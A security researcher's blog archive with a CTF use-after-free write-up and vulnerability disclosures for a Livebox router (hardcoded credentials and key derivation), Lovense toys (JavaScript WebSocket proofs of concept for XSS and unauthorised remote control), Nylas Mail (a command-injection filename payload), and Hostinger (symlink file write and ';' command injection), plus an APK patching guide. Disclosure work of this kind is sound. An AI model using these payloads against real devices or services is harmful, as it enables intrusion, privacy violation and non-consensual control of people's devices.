lunes, 8 de octubre de 2018

CTF NN8ed - Navaja Negra - Pokedex

This weekend I have been in Albacete (Spain) in the 'Navaja Negra Conference'. It was an amazing event! I had a great time there watching the conferences and playing the CTF. I recommend you go to the conference next year, really, it is amazing!! Congratulations to the organization.

In this post, I will tell you how I solved the 'Pokedex' challenge (category: exploiting).

As you can see, the provided binary is a Linux binary that allows us to register Pokemons (it is a Pokedex :P). It allows us to add, edit, delete and view Pokemons. With this description, we can start thinking it is a classic Use-after-free challenge, and we are right. If we open the binary in a dissembler we can see how it works, and if we just try to delete a Pokemon and view/edit it after that, we will finally confirm that it is a classic use-after-free. I will exploit the use-after-free, but there is a different way to solve it by exploiting the double free vulnerability (you can delete a Pokemon many times..).

A Pokemon is composed by 5 fields: ID, Name, Height, Weight and Power. The most important field is the name, which is a C string (char*). It is important because we need to use this string to modify the struct of a previously deleted (freed) Pokemon. The size of the Pokemon structure is 24 bytes. Checking how the memory is reserved, we can see that every time we create a Pokemon, it reservers 24 bytes for the struct and then X more bytes for the string.

Pokemon's structure in green, pointer to the name in red, name immediately after the struct 

In order to allocate a string in the space of a freed Pokemon's structure, we have to generate a hole in the following way:

1. Create 4 Pokemons with a 24 bytes long name (with IDs: 0,1,2,3).
2. Delete/Free the 2 Pokemons in the middle (in order to create a hole) (IDs: 1,2)
3. Create a new Pokemon (ID: 4) with a >72 bytes long name (in my case I used a 100 bytes long name)
4. Create a new Pokemon (ID: 5) with a 24 bytes long name (it will be allocated in one of the previous freed Pokemon's structures).

With this, we can edit the name of the last created Pokemon to modify the structure of the last allocated and freed Pokemon (ID: 2). We need to create a Pokemon (ID: 4) with a name longer than 48 bytes because we want to keep the hole for the new structure (ID: 5) and the name.

The memory will change as follows:

After creating the 4 initial Pokemons:

[--- 24 bytes ---] (struct Pokemon 0)
[--- 24 bytes ---] (name Pokemon 0)
[--- 24 bytes ---] (struct Pokemon 1)
[--- 24 bytes ---] (name Pokemon 1)
[--- 24 bytes ---] (struct Pokemon 2)
[--- 24 bytes ---] (name Pokemon 2)
[--- 24 bytes ---] (struct Pokemon 3)
[--- 24 bytes ---] (name Pokemon 3)

After deleting the 2 Pokemons in the middle:

[--- 24 bytes ---] (struct Pokemon 0)
[--- 24 bytes ---] (name Pokemon 0)
[--- 24 bytes ---] (struct Pokemon 1) FREE
[--- 24 bytes ---] (name Pokemon 1) FREE
[--- 24 bytes ---] (struct Pokemon 2) FREE
[--- 24 bytes ---] (name Pokemon 2) FREE
[--- 24 bytes ---] (struct Pokemon 3)
[--- 24 bytes ---] (name Pokemon 3)

After creating the new Pokemon:

[--- 24 bytes ---] (struct Pokemon 0)
[--- 24 bytes ---] (name Pokemon 0)
[--- 24 bytes ---] (struct Pokemon 4)
[--- 24 bytes ---] (name Pokemon 1) FREE
[--- 24 bytes ---] (struct Pokemon 2) FREE
[--- 24 bytes ---] (name Pokemon 2) FREE
[--- 24 bytes ---] (struct Pokemon 3)
[--- 24 bytes ---] (name Pokemon 3)
[--- 100 bytes ---] (name Pokemon 4)

After creating the new Pokemon:

[--- 24 bytes ---] (struct Pokemon 0)
[--- 24 bytes ---] (name Pokemon 0)
[--- 24 bytes ---] (struct Pokemon 4)
[--- 24 bytes ---] (struct Pokemon 5)
[--- 24 bytes ---] (name Pokemon 5) (and struct Pokemon 2 still points to here and can be used)
[--- 24 bytes ---] (name Pokemon 2) FREE
[--- 24 bytes ---] (struct Pokemon 3)
[--- 24 bytes ---] (name Pokemon 3)
[--- 100 bytes ---] (name Pokemon 4)

Once we are here, we just have to edit the Pokemon 5 to modify the name, overwritting the struct of the Pokemon 2 and replacing the pointer to the Pokemon's name with a pointer we want. In my case, I replaced the pointer with the pointer of atoi@got (which is, basically, a table to know where the imported funcions are). At this point, we can use the "view" function to view the Pokemon 2 data, leaking the address of atoi. Once leaked, we can use this address to calculate the system address (the provided the binary, so we can calculate the offset and use it to calculate the address of system using the leaked address of atoi). Once we calculate the address of system, we can use the 'modify' function for the Pokemon 2 to modify the address of atoi with the address of system. The next time it uses the atoi function to process the selected option in the menu, it will call system. So, finally, we can write "sh" or "bash" to get a nicer shell and read the flag from the file "flag.txt". :D


You can see the full exploit here:

I hope you enjoyed this post!
See you in the next post and, hopefully in the next edition of Navaja Negra Conference! :D

jueves, 21 de septiembre de 2017

Full Remote Control Livebox Fibra Router Orange and Jazztel Spain

Recently Jazztel (my ISP) replaced the router I was using (ZTE H218N) with a new router known as "Livebox Fibra". This new router is used by Jazztel and Orange here in Spain. A lot of people have been trying to extract the SIP data and the ONT password in order to configure other custom routers. There are some public ways to root the router, but we are not going to talk about that in this blog post.

In this blog post, I am going to introduce you a security issue with this router that allows an attacker to take full control of the router if the router web server is exposed to the Internet or if the attacker is connected to the router (for example by using a malicious app in the smartphone of the owner of the router).

The router provides a web page to configure it.

But you can also use an iOS and Android app to configure the router (called "Mi Livebox"):

The first time I started the app, I was surprised because the app showed the router status without asking me for a user and password. Also, I was able to modify some router params without having to put any user or password. I thought: "I need to know what magic way it is using to do this!" ;P

I configured Burp Proxy on my phone and started to see the traffic..

Do you see that? No? It is using Basic HTTP Auth! But what is it using as user and password?

base64decode('[AUTH_HEADER]') = ApiUsr:ApiUsrPass

So it is using a harcoded user and password!!
But it only uses this user and password in the first call to the router API ( The router returns the MAC address and other general information. The rest of API endpoints does not work with this user and password..

If we see the rest of the request to the API, we can see that It uses another auth info in all the rest of requests.. If we decode this Base64 string, we obtain the following:
UsrAdmin:[Some Trash]

So it seems that the password for the "UsrAdmin" user is generated with some other data.. I said: "Ok, let's decompile and reverse engineer the APK" ;P

In com/orange/milivebox/es/main/utils/Utils.smali we find the function "lambda$getCredentialsAPIrouter$0" that receives as params the MAC address of the router and a variable called "secret", whose value is "MiLiveBoxApp".

This function does the following:
  1. Removes the ":" in the MAC address. cleanedMac = mac.replace(":","")
  2. Generates the MD5 of the "secret" variable ("MiLiveBoxApp")
  3. To the MD5 value, it appends the first 16 chars of the MD5. MD5("MiLiveBoxApp") = "62ea048211246ab16d2ef5729b7520ad"; so finally key="62ea048211246ab16d2ef5729b7520ad62ea048211246ab1".
  4. It encrypts the cleanedMac using TripleDES ECB using the generated key as key.
Now, we know how the app and the router generate the password, so now we can generate the password and make requests to configure whatever we want in the router! An attacker could just create a malicious app to steal your SIP data (accesible in the endpoint or get your calls log ( or get/set your WiFi password ( or whatever he want.

You can get a list of the available endpoints in:

There is also a "UsrOrange" user with the same password than "UsrAdmin". It is also allowed to access to the API. It seems like a special user for support.

What to do if you are a customer / How to protect yourself

The latest version of the firmware is: "AR_LBFIBRA_sp- Aug 31 17:59:39 2017)". There is no fix for this issue, so you have to protect yourself.
  1. Do not expose your router to the internet. Check your NAT config on your router. There are an important number of routers exposed on Shodan..
  2. The endpoint "http:/" (for UsrAdmin) and "http:/" (for UsrOrange) accept "GET" and "PUT" requests. GET gives you the password for UsrAdmin and UsrOrange, but you can change it by sending a "PUT" request with the following body (and reboot your router):
    1. http:/ For UsrAdmin: {"User":"UsrAdmin","Password":"NewPassword"}
    2. http:/ For UsrAdmin: {"User":"UsrOrange","Password":"NewPassword"}
  3. Configure another router


Since there are a lot of people that want to extract their SIP data to configure other routers, I have developed a small tool in Java to extract the SIP data from the router using this security issue. This tool also gives you the possibility of changing your UsrAdmin and UsrOrange password to protect you of malicious apps.

You can download and check the source code here:

I hope you liked this blog post! See you in the next post!

jueves, 6 de julio de 2017

Understanding (and breaking) the Internet of vibrating things: Lovense's toys

Some of the vulnerabilities disclosed have not been fixed. I follow the 90 days deadline that Google Project Zero use in their responsible disclosure policy (

Report Timeline

  • 2017-03-31 - I sent a report of the vulnerabilities to
  • 2017-04-01 - Received a response telling me that they are looking into it.
  • 2017-04-06 - Received an email telling me the fixes they are going to include in order to fix the issues. They were trying to fix all them in 2 or 3 weeks.
  • 2017-04-06 - I replied all right.
  • 2017-05-22 - I sent an email asking for updates about the fixes and telling them that 49 was passed since the first report and I was following the 90 days deadline.
  • 2017-05-23 - I received a response telling me that some issues have already been fixed, but the not fixed issues will be automatically fixed in their new app. They were developing a new app, but if they are not able to release it in time, they will update the actual app.
  • 2017-06-29 - 90 days deadline arrived.
  • 2017-07-06 - 97 days since first report. Disclosure.

First of all, let's explain how Lovense toys work. The toy is controlled by using a mobile app (available for Android and iOS) called Body Chat. The mobile app is an Apache Cordova app (, so it is build in HTML and JavaScript (interesting to look for XSS vulnerabilities). The app controls the toy over bluetooth.
This app also allows to chat with other users, and give the possibility to remote control the toy to the chat partner. The chat functionability works by using a jabber-based protocol over Websockets.
This toy is very used in webcam's model's websites (such as Chaturbate, MyFreeCams..), because it provides a browser extension ( that use chat's messages in the website to detect if someone have sent any tokens/tips (virtual money in these websites) in order to make the toy vibrate. But, how the communication between the Chrome Extension and the Body Chat app works?? Let's explain it!
The communication is simple, the app make a heartbead request every few seconds. The request is something like:

GET /chrome/setLocalToy HTTP/1.1
Content-Type: application/json; charset=UTF-8
Origin: file://
Connection: keep-alive
Accept-Language: es-es
Accept-Encoding: gzip, deflate
Content-Length: 116


As we can see, the app is sending two open ports (random every time the app is started) on the device, the local network IP address, a list of connected toys and the user email. Do you see something bad here? no? well, we will speak about it later..
Then, the Chrome Extension just make a request to receive the available toys, the IP address and the opened ports. So, the computer running the Chrome extension and the mobile with the app must be on the same local network in other to work. The Chrome extension will try to connect to the mobile in one of the opened port. In our example, the 3000's port have a WebSocket server listening on it, so basically the extension connect to the Websockets server and send commands in order to make the vibrator vibrate when neccesary.
The app also allows users to generate and share a link to provide remote control of the toy to other users. This is an important feature because two of the most dangerous vulnerabilities are based on it.

Now, we have an idea about how the app works, let's see how we can break it :)

Vulnerability 1. XSS on Body Chat app.

An user can add JavaScript code on his username, profile photo and the body of a chat message. To do that, he only need to send the same request that the app does, but adding the following in the username, the profile photo 'type' field or the body of a chat message:

<script>navigator.notification.confirm('This is a XSS!', null, 'XSS', ['Ok']);</script>

It bypasses the HTML tags filter by using '<' instead of '<'.
Proof of concept in JavaScript:

function doSomething(){
    var xssExploit = "navigator.notification.confirm('This is a XSS!', null, 'XSS', ['Ok']);";
    var victim = "lovensetest_7777!!!";
    // start communication
    socket.send('<?xml version="1.0"?><stream:stream xmlns:stream="" version="1.0" xmlns="jabber:client" to="" xml:lang="en" xmlns:xml="" >');
    socket.send("<iq type='get' xmlns='jabber:client' id='8579:sendIQ'><query xmlns='jabber:iq:roster'/></iq>");
    socket.send("<presence xmlns='jabber:client'><show>chat</show><status>online</status><setting>%7B%22sound%22%3Atrue%2C%22status%22%3A%22online%22%2C%22videoRecord%22%3Afalse%7D</setting></presence>")
    // change username/photo info to include XSS
    socket.send("<iq type='set' from='lovensetest_2222!!!' xmlns='jabber:client' id='8580:sendIQ'><vCard xmlns='vcard-temp'><FN>lovensetest_2222&#0000060;script>"+ xssExploit +"&#0000060;/script></FN><SEX>m</SEX><PHOTO><BINVAL>[BASE64_ENCODED_IMAGE]</BINVAL><TYPE>image/jpeg'>&#0000060;script>"+ xssExploit +"&#0000060;/script></TYPE></PHOTO></vCard></iq>")
    // send friends request
    //socket.send("<presence to='"+ victim +"' type='subscribe' name='null' text='undefined' xmlns='jabber:client'/>")
    // send message to trigger the XSS, and include XSS on message body
    socket.send("<message to='"+ victim +"' type='chat' xmlns='jabber:client'><body>&#0000060;script>"+ xssExploit +"&#0000060;/script></body><active xmlns=''/></message>")

function exploit(){
    socket = new WebSocket("wss://[TOKEN_RELATED_TO_THE_USER]");

    socket.onopen = function () {

    // Log errors
    socket.onerror = function (err) {
        console.log('WebSocket Error ');

    // Log messages from the server
    socket.onmessage = function (e) {
        console.log('Server: ' +;

The 'text' param in the websocket URL is related to the user. Other information sent in the websocket communitation is also related to the user.
The XSS can be triggered without being a friend of the victim. As we can see in the PoC, the attacker can send a chat message and the victim's app will receive it and parse it, so the code will be executed and the attacker does not have to be a friend neither send a friend request.
The JavaScript code in the 'type' field of the image will be triggered in the chat window. Maybe it could be triggered in other sites, so I think the best way to fix these XSS is to filter the received input from the user before save it in the DB.
This vulnerability gives to the attacker full control of the app, for example, to control the toy without permission. The attacker just need the email of the victim.

Vulnerability 2. DoS to the Lovense Extension for Chrome.

As we introduced before, the Body chat app sends a heartbeath request every few seconds.
GET /chrome/setLocalToy HTTP/1.1
Content-Type: application/json; charset=UTF-8
Origin: file://
Connection: keep-alive
Accept-Language: es-es
Accept-Encoding: gzip, deflate
Content-Length: 116


This request is used by the Chrome extension (or Lovense Browser), to connect to the app in a local network and send the proper commands to make the toy vibrate.
An attacker, knowing the email of a cam model, is able to do a denial of service attack by sending invalid IP directions.
Also, it opens ports on the smartphone, so if the attacker is in the same network he can connect to the opened ports and send commands to make vibrate the toy.

Vulnerability 3. Create a link to control the toy.

An attacker, knowing the email of a cam model, can generate a link to control the toy by using the following GET request:

As we can see, the request only include the victim's email to generate the link, the rest of the information sent is not used to verify the request, it is just to set up the link.
The 'customerid' field is just a random alphanumeric string whose size must be 6.

Vulnerability 4. Remote User Email Enumeration.

To add a friend on Body Chat app, it sends a request to verify if an user with the specified email exists. If it exists, then it will send the friend request. The request to verify the email address is:

POST /ajaxCheckEmailRegisted HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: file://
Connection: keep-alive
Accept: */*
Accept-Language: es-es
Accept-Encoding: gzip, deflate
Content-Length: 47

The 'model' field is used to check if is model or not, so it could help the attacker to make the search of an specific account easier.
They fixed this issue by limiting the number of emails you can check in a hour, but with the update they introduced the possibility of search users by username... So, now you can get the email address of a webcam model if she use the same user name ¯\_(ツ)_/¯. The API returns the data encrypted, but you can get the hardcoded keys and IVs from the apk and decrypt the returned email.

Vulnerability 5. Remote Control using Chat Messages.

The Remote control by shared links works by receiving over the jabber-based protocol over WebSockets a chat message from: system!!!
with the following content:

<message to="victim!!!" id="1VwJL-9819050" type="chat" from="system!!!"><body>"{\"symbol\":\"hytto_robot_2013\",\"type\":\"order\",\"content\":\"Vibrate:0;\"}"</body><thread>[REDACTED]</thread></message>

Any user can replicate the message to make vibrate the vibrator. The following JavaScript code is a Proof of concept which connects to the WebSocket server and sends the chat message to the victim to make the toy vibrate.

function doSomething(){
    var victim = "victim!!!";
    var vibrationLevel = "5";
    // start communication
    socket.send('<?xml version="1.0"?><stream:stream xmlns:stream="" version="1.0" xmlns="jabber:client" to="" xml:lang="en" xmlns:xml="" >');
    socket.send("<iq type='get' xmlns='jabber:client' id='8579:sendIQ'><query xmlns='jabber:iq:roster'/></iq>");
    socket.send("<presence xmlns='jabber:client'><show>chat</show><status>online</status><setting>%7B%22sound%22%3Atrue%2C%22status%22%3A%22online%22%2C%22videoRecord%22%3Afalse%7D</setting></presence>")

    // send message to vibrate
    socket.send('<message to="'+ victim +'" type="chat" xmlns="jabber:client"><body>"{\\"symbol\\":\\"hytto_robot_2013\\",\\"type\\":\\"order\\",\\"content\\":\\"Vibrate:'+ vibrationLevel +';\\"}"</body><active xmlns=""/></message>')

function exploit(){
    socket = new WebSocket("wss://[RELATED_TO_THE_USER]");

    socket.onopen = function () {

    // Log errors
    socket.onerror = function (err) {
        console.log('WebSocket Error ');

    // Log messages from the server
    socket.onmessage = function (e) {
        console.log('Server: ' +;

The app should check if the message have been sent by system!!! or check if the user who sent the message is allowed to send this type of message before make the toy vibrate.
But the RobotController in the app is not only able to control the vibrator, it also have been coded to receive other type of orders. One of these orders allows to execute JavaScript code in the app.

As you can see in the previous images, it is prepared to receive a message with the "type" field equal to "js" in order to execute the JavaScript code provided in the field "content" using "eval". Example:
<message to="victim" type="chat" xmlns="jabber:client"><body>"{\\"symbol\\":\\"hytto_robot_2013\\",\\"type\\":\\"js\\",\\"content\\":\\"alert(1);\\"}"</body><active xmlns=""/></message>

Bug 1. Bad tips detection on Chrome Extension.

I do not consider it a security issue, but a bug which should be fixed.
To detect if an user have given tokens to a model, the Chrome extension uses the chat events in the website. In certain websites, you do not check correctly if is really a tip or if it is a user message in the chat, so an user can send a chat message with a specific structure in order to trigger the extension and make the toy vibrate. The affected websites are:
  • MyFreeCams
    • The user just have to send the message: Received a 50 tokens tip from username!
  • CamSoda
    • The user just have to send the message: username tipped 15 tokens

Protect yourself

If you are a Body Chat user (webcam model), you can protect yourself by following the following steps:

  1. Do not publish the email address you use in your Lovense account. If you published it, create a new account with another email.
  2. Do not use the same username that you use in other services.


It has been very interesting to learn how this devices work, how the Chrome extension and the app work together over Websockets. Once we had an idea about how it works, it was interesting to detect the vulnerabilities.
I think we can extract an important conclusion about this research, internet of thing (in this case sex toys) have too much to do in order to improve their security measures. I am very happy to help a little bit and learn more about information security, which is what I really love to do.

Behind the scenes

I have explained how the communication between the Body Chat app and the Chrome Extension works in order to make the toy work. I have also explained the vulnerabilities I found during my research, but maybe you also want to know how I found them, what tools I used. Well, in this section I will try to give you the names of the tools I used and what I did to understand how the app/extension works. :)

First of all, I downloaded the Body chat app and started to see how it works. I just used the app as a normal user (I created a few accounts, changed profile photo and user info, sent chat messages between my test's accounts..). While I did all this, I had Burp Proxy ( configured on my phone in order to see what HTTP requests the app made.
Since I did not have a toy, I did not have anything interesting to test, so I started to see the Chrome Extension. I downloaded it and extracted the ZIP file ( Then, I started to see the source code of the extension. It was obfuscated, so I used in order to make the code a little more readable. Then, I had to try to understand the code, renaming variables, etc. By doing it I found vulnerability 3, I also understood better how the communication between the app and the extension worked.
Then, I downloaded the APK of the app and used apktool ( to decompile the app and see how it works. I realized that the app was an Apache Cordova app, so I decided to see if a was able to get an XSS. I tried changing username, photo info, chat messages, etc. In order to do it, I just did a PoC code in Javascript by seeing the protocol of the Websockets requests. It was not difficult :P

More Info

I stared this research because I saw this DEFCON 24 conference about sex toys, and I thought it could be interesting to learn about how they works.

I hope you liked this blog post! See you in the next post!

miércoles, 24 de mayo de 2017

Nylas Mail Command Injection on macOS


Today I am going to talk about a vulnerability I found on Nylas Mail (, an open source mail client.

The vulnerability allows to any malicious user to run any OS command in the victim's computer by sending a special file in the attachments. The name of the attached file should be something like:

This vulnerability can be found in the source code in the following line: , and as you can see, is related to the thumbails preview feature in macOS. Nylas downloads the attachment and use 'qlmanage' to create a preview of the file.

The problem is present in the "escapedPath" variable. As you can see, it comes from:

const filePath = this.pathForFile(file) // (

The "pathForFile" function uses the filename by using the function "safeDisplayName" (, which is not safe because it doesn’t escape correctly the filename in order to avoid shell command injection.

The filename is very limited in order to exploit the vulnerability, so we can use multiple attachments in order to create a full exploit for this vulnerability. To do that, we send two files:

File 1. Called pwn.pdf. It is used to contain the code/commands we want to execute because we cannot use the file name in order to execute any code (it is just a shell script). In the PoC video, this file contains the following content (just to open the calculator):
open /Applications/

File 2. This file exploits the vulnerability and executes pwn.pdf. The file name used is:
z$(sleep 5;for f in $(find $HOME$PWD.nylas-mail -name pwn.pdf); do sh $f; done).pdf

With this name, we wait five seconds to ensure that pwn.pdf is downloaded, and then we try to find the file in order to execute it, because each attachment is downloaded in ~/.nylas-mail/[random_folder_name]/attachment_name. Since we cannot use "/" in our filename, we use the $PWN environment var which should be "/". If it isn’t we could use “.” instead of $HOME$PWD.nylas-mail. The execution is much more slow, but it will be finally executed. If we use “.”, the filename should be:
z$(sleep 5;for f in $(find . -name pwn.pdf); do sh $f; done)

The PoC video:

This vulnerability has been reported and fixed on version 2.0.32, which was released a few weeks ago.

I hope you liked this blog post!
See you in the next post, which will be about a few vulnerabilities I discovered in some IoT devices and their remote control apps :P

martes, 28 de febrero de 2017

Having fun with symlinks in Hostinger


Since my last blog post I have been looking for new vulnerabilities in Hostinger in my spare time (I have not had too much :P).

In this blog post I will speak about two vulnerabilities I found in Hostinger. Both are exploited by using symbolic links.
As you know, symbolic links (symlinks) are files which points to another files, I mean, you can create a symbolic link called “hello” which points to “/etc/passwd”. So, when you try to write in “hello” you are writing to “/etc/passwd”.

In order to create a symlink in the server I used the “Import Site” feature. It allows to the user to upload a Zip file and it automatically decompress the file in “public_html” directory. I created a symlink in my computer using the command: ln -s /path/to/file symlinkname
And then, I added the symlink to a Zip file using: zip -y symlinkname.

The first vulnerability is related to a bad configuration in the server. By using symlinks we are able to read other files in the server, outside of our user home directory (remember that hostinger offers shared hosting plans; multiple users share the same server but using different Linux users with different permissions). We were able to create a symlink to “/“ and use it over FTP in order to browse the server files. One of the most important directories is “/backup”, which stores all the backup files in the server (other clients backups).
I tried to browse “/backup” over FTP, but my user did not have the permissions to do that :)
But, I created the symlink on the “public_html” directory, so I was able to browse the filesystem by using a web browser. Using a web browser I was able to read files that I did not have permission by using FTP, and “/bakcup” and all their files was one of the affected directories I was able to read if I used the web browser. It seems that the Apache user had privileges to read those files.

I reported this issue and Hostinger solved it. They also rewarded me with a bounty :)

After that, I thought that maybe there was a vulnerability which could allow me to write files I did not have permissions to write (like /etc/passwd or similar).

I used the PHP configuration file “/opt/php.conf.d/USER.ini”, where “USER” is the name of my user in the Linux server. In this configuration file, PHP functions such as “system”, “exec” or “shell_exec” were disabled for security reasons. My objective was to find a way to edit that file and enable these functions. To do that, I tried different tools available on the client area. But only one of them worked fine.

One of the functions allows to the user to set a password for a directory in the website. It is done by creating/writing a “.htpasswd” file in that folder and writing the password selected by the user. I was able to write any file in the server by using this feature.

In order to exploit it to write any file in the server, firstly, I created a symlink to the file I wanted to overwrite. The name of the symlink should be “.htpasswd”. And then, as you are thinking, you have to set a password for the directory by using the “Password Protect dirs” feature. This feature seems to execute as root, so it will write in the file pointed by the symlink without problems. After this tool writes on the file, it set proper permissions for the file, so the original file will be readable and writable by our user after that. 
We only have to access by FTP or create a PHP script in order to write whatever we want to the file. 

I reported this vulnerability and they rewarded me with a bounty :)

If you want to read more about vulnerabilities on shared hosting servers based on symlinks, you can read this blog post written by @alvaroh5 in fwhibbit: 

sábado, 11 de febrero de 2017

Command Injection Vulnerability in Hostinger


This is my first blog post in English, and probably next blog posts will be written in English too :)

Today I am going to speak about a vulnerability I recently found in Hostinger. As the title says, I found a Command Injection vulneravility in Hostinger. This kind of vulnerabilities allow an attacker to execute remote OS commands on the machine.

I realized that Hostinger has a GIT repository feature which allows you clone a GIT repo and deploy your website using that repo. And yes, here we find the vulnerability. As you should know, you can clone a repository using the following command:

git clone http://domain/path/to/repo folder

Their feature uses this command in order to clone the repo, they allow you to provide 3 elements:

- Repo URL
- Repo branch to be cloned
- folder in which the repo will be cloned

An attacker was able to use the "folder" input to inject OS commands. By using ";" we were able to close the "git clone" command and inject other commands to be executed. In the following picture you can see the UI of the feature in the Hostinger CPanel, which will break the "git clone" command to finally execute "wget".

I used "wget" to see if the command was being executed by receiving the GET request in Then I realized that you can see a log output of the deployment and you can see the output of the command execution on it (see picture 2).

As you can see in the picture, we have a command execution with root permissions... No need to use any other exploit to obtain root permissions. An attacker have all he need in order to use Hostinger server, for example to do DDoS attacks. Or maybe to delete all the data of other clients in the same server (remember that Hostinger is a shared web hosting service ;))

The vulnerability was reported to Hostinger and fixed in less than 48 hours (good job).
Anyway, I have to say that I did not received any response to my report, so once I realized that the vulnerability was fixed, I wrote another email to ask if the vulnerability was finally fixed and if my vulnerability was elegible for a reward (supposedly they have a bug bounty reward program:

Finally I received a response, they appreciate my help but they said "after analyzing the impact of it and we confirmed that a bonus cannot be provided this time."

So they analyzed the impact of the vulnerability and is not elegible for a reward, OK. I understand that they are the ones who must decide if a vulnerability is or not elegible for a reward, and I accept their decision. But if a vulnerability which allows a malicious user take total control of their servers with root permissions to do whatever he want with the server and the clients data is not elegible for a reward, I don’t know what kind of vulnerability could be more dangerous in order to be elegible for a reward.

If you have reported some vulnerability to Hostinger, tell us your experience on the comments!

I hope you like this blog post! :)
I will try to write more frequently here, because I have not written a blog post since September 2016 :S

You can also follow me on Twitter:

UPDATE (13-02-2017):

Today the Customer Success manager at Hostinger has written an email saying he has reviewed my case. He has explained why they did not provide a reward for the bug. The git command was running in a Docker container which is created in order to do the deploy and destroyed after that. Even so, they have finally rewarded me with a bounty because they had to fix other issue to prevent additional errors.

Hostinger, thank you very much for the reward! :)

And thanks to all who have read and shared this blog post!

lunes, 12 de septiembre de 2016

¿Como actualizar un Gear S2 sin un dispositivo Android compatible?

La respuesta corta es: por cojones.

Antes de nada, decir que después de tanto tiempo sin escribir en el blog, me apetecía contar esto, aunque técnicamente no es demasiado complicado. Quizás a partir de ahora escriba con más frecuencia, ya que, al menos, tengo pensada otra entrada más sobre Yomvi (el nuevo Movistar+).

Empecemos con esta entrada!

Hace unas semanas Samsung lanzó su aplicación de administración de su smartwatch, el Gear S2, para iOS. Hacía mucho tiempo que la estaba esperando, así que en cuanto me enteré de que habían lanzado el programa de pruebas, me registré para probarla. Después de ser aceptado e instalar la aplicación, estuve durante un rato intentado sin éxito conectar mi reloj a la aplicación. Entonces, buscando por internet, me di cuenta de que la versión del firmware de mi reloj era demasiado antigua, tan antigua que no era posible actualizarlo por Wifi. Al parecer, el único modo de actualizarlo era utilizando la aplicación de Android, ya que al ser una versión antigua de firmware, esta no era compatible con la app de iOS.

En este punto, surgen los problemas, ya que no dispongo de ningún dispositivo "compatible" con la aplicación. Los requisitos de la aplicación son:

  1. Tener una versión de Android mayor o igual a la 4.4
  2. Tener un dispositivo con al menos 1.5GB de RAM

Podéis ver aquí una lista con los dispositivos compatibles.

Como podemos observar, hay una gran cantidad de dispositivos compatibles (notese la ironía).

Bien, como os imaginais, no tengo un dispositivo "compatible", pero si que dispongo de un Xperia M2, que estaba seguro que era igualmente suficiente para utilizar la app.

Visto lo visto, estaba claro que si quería actualizar mi reloj y que sirviese para algo tenía que buscarme la vida por mi cuenta, y eso hice. Lo primero que se me ocurrió fue obtener el APK de la aplicación. Ya que tenía la app instalada, la obtuve de mi dispositivo utilizando ADB. Los comandos necesario para ello son:

adb shell pm list packages

Con el obtendremos la lista de paquetes instalados en nuestro dispositivo. Podemos mejorar el comando si utilizamos: adb shell pm list packages | grep samsung. De esta forma nos aparecerá directamente el paquete que nos interesa, cuyo nombre es:

El siguiente comando: 

adb shell pm path

Que nos devolverá la ruta de nuestro dispositivo en la que podemos encontrar el APK.

Y finalmente usaremos:

adb pull ./destino

Para descargar el APK en la carpeta "destino".

Con esto, ya tendremos en nuestro PC el APK de la aplicación. El siguiente paso es utilizar una herramienta para descompilar el APK y obtener los ficheros de código Smali. Para ello, yo he utilizado apktool, en su versión 2.0.3 (podéis descargar su última versión en: Para descompilar simplemente es necesario utilizar el siguiente comando:

java -jar apktool.jar d

Una vez ejecutado, nos generará una carpeta con todos los recursos de la aplicación, incluyendo lo que nos interesa, el código Smali. 

Después de un rato mirando el código, nos daremos cuenta que existe una clase llamada "HostManagerUtils", que contiene un método que parece interesante: isSupportedInHostDevice. Efectivamente, este método devuelve true o false (1 ó 0) en función de si el dispositivo es compatible o no, es decir, si cumple los requisitos anteriormente indicados. 

Llegados a este punto, existen dos opciones en función de las posibilidades de vuestro dispositivo:

  1. Si está rooteado, utilizar alguna herramienta que permita hookear funciones, de modo que podamos modificar durante la ejecución el resultado de esta función. En mi caso he utilizado Frida (
  2. Si no está rooteado, modificar el código Smali para que siempre devuelva verdadero.

Yo utilicé Frida, puesto que mi dispositivo estaba rooteado y es más rápido que compilar la aplicación e instalarla, sobretodo la primera vez, cuando lo que queremos es comprobar si realmente esa función hace lo que parece. El script de Frida que he utilizado lo dejo aquí. Podéis utilizar la documentación de Frida para ver como se instala y como utilizar Frida en vuestro dispositivo (

Para la segunda opción, necesitaremos modificar el código, compilar e instalar de nuevo la aplicación. Como podemos observar en el código de la función "isSupportedInHostDevice", esta es bastante extensa, puesto que comprueba la cantidad de RAM y versión del sistema operativo. Nuestra modificación será realmente simple, al comienzo devolveremos directamente verdadero, y ya está.

Como vemos en la imagen, al inicio he modificado la inicialización de v0, para que en lugar de inicializarse a 0 (false) se inicialice a 1 (true), e inmediatamente después devuelvo v0. Con esto siempre se devuelve verdadero.

Ahora solamente resta compilar, firmar e instalar. Para compilar, utilizaremos de nuevo apktool, en este caso utilizaremos el comando (en el directorio en el que nos ha descompilado la app):

java -jar apktool.jar b -f -d .

Con esto nos construirá un nuevo APK en el directorio "dist". Antes de instalar ese APK, necesitaremos firmarlo. Para ello, usaremos la herramienta signapk (disponible aquí), con el siguiente comando:

signapk.jar testkey.x509.pem testkey.pk8 dist/ dist/

Como vemos, se pasan como parámetro los dos ficheros de clave para firmar el APK. Estos ficheros son los que lleva para probar signapk, recomiendo utilizarlos por simplicidad.

Con esto, tendremos un APK firmado y listo para usar. A continuación instalamos con el siguiente comando:

adb install dist/

Y una vez instalado tendremos la aplicación en nuestro dispositivo, lista para iniciar y actualizar nuestro reloj.

En mi caso, funcionó así sin problemas, pero existe una función llamada "isSamsungDeviceWithCustomBinary" que comprueba si la aplicación ha sido modificada. En principio no detecta esta modificación, pero por si acaso, se puede modificar de igual forma que hemos hecho con la que comprueba si el dispositivo es compatible. En este caso nos interesa que siempre devuelva 0 (false), que significa que la aplicación no ha sido modificada. Por tanto, introduciremos al comienzo de la función lo mismo que antes excepto el valor de v0, que será 0 en este caso:

const/4 v0, 0x0
return v0

Y después de todo esto, ya podremos utilizar nuestro Gear S2 con nuestro dispositivo Android.

ADVERTENCIA: No me hago responsable de cualquier daño sufrido por vuestro teléfono o reloj. Haz esto bajo tu propia responsabilidad.

No es nada complicado, ni muy técnico, pero me parecía interesante compartirlo, puesto que seguramente haya alguien al que le pueda resultar útil.

Con esto me despido hasta la próxima, que espero sea pronto y sea explicando algunas curiosidades de la app de Yomvi (ahora Movistar+) ;)